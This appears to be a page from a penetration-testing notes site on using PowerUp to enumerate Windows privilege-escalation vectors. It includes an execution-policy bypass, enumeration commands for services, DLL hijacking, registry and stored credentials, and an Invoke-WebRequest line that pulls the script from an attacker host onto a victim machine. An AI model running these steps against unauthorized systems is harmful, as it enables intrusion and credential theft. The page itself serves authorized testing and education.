> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/active-directory-domain-controller/privesc-tools/powerup.md).

# PowerUP

**PowerUp** is a PowerShell tool designed to help identify common privilege escalation vectors on Windows systems.\
It automates checks for vulnerable services, unquoted paths, weak registry permissions, DLL hijacking opportunities, etc.

***

### Prerequisites

* PowerShell access on the target machine
* Execution Policy Bypass (if restricted)
* Tool file: `PowerUp.ps1`

[Github](https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc)

***

### Execution Steps

#### **Bypass PowerShell Execution Policy**

```powershell
powershell.exe -nop -exec bypass
```

#### **Import PowerUp Module**

```powershell
Import-Module .\PowerUp.ps1
```

Make sure you're in the same directory as `PowerUp.ps1` or provide the full path.

#### **Run All Enumeration Checks**

```powershell
Invoke-AllChecks
```

This will perform a series of checks and return potentially exploitable issues.

***

### Common Checks Performed by `Invoke-AllChecks`

| Check Type                    | Description                                                                           |
| ----------------------------- | ------------------------------------------------------------------------------------- |
| **Service Misconfigurations** | Looks for services with weak permissions, unquoted paths, or DLL hijack opportunities |
| **Registry Permissions**      | Finds registry keys where current user has write access                               |
| **DLL Hijacking**             | Searches for vulnerable service paths and folders for hijacking DLLs                  |
| **Credential Discovery**      | Finds hardcoded credentials in registry, config files, etc.                           |
| **Unattended Install Files**  | Looks for `Unattend.xml`, `sysprep.xml`, etc. with cleartext passwords                |
| **AlwaysInstallElevated**     | Checks if MSI installation as admin is possible by normal users                       |
| **PATH Hijack**               | Looks for writable directories in the PATH environment variable                       |
| **Startup Applications**      | Identifies auto-start programs that can be hijacked                                   |

***

You can also run individual checks:

#### Check for Services Vulnerable to Privilege Escalation

```powershell
Get-ServiceUnquoted
Get-ModifiableServiceFile
Get-ModifiableService
Get-ServiceFilePermission
```

#### DLL Hijack Possibilities

```powershell
Find-PathDLLHijack
```

#### Registry Permissions

```powershell
Get-RegAlwaysInstallElevated
Get-ModifiableRegistryAutoRun
Get-RegAutoLogon
```

***

### Upload Tips

If you need to upload `PowerUp.ps1` to the victim:

> From attacker's Python web server

```powershell
Invoke-WebRequest -Uri http://<attacker-ip>/PowerUp.ps1 -OutFile PowerUp.ps1
```

{% hint style="success" %}

* PowerUp **does not exploit** anything itself — it only **identifies** potential privilege escalation vectors.
* You must manually exploit the findings (e.g., crafting a malicious service binary or replacing a DLL).
  {% endhint %}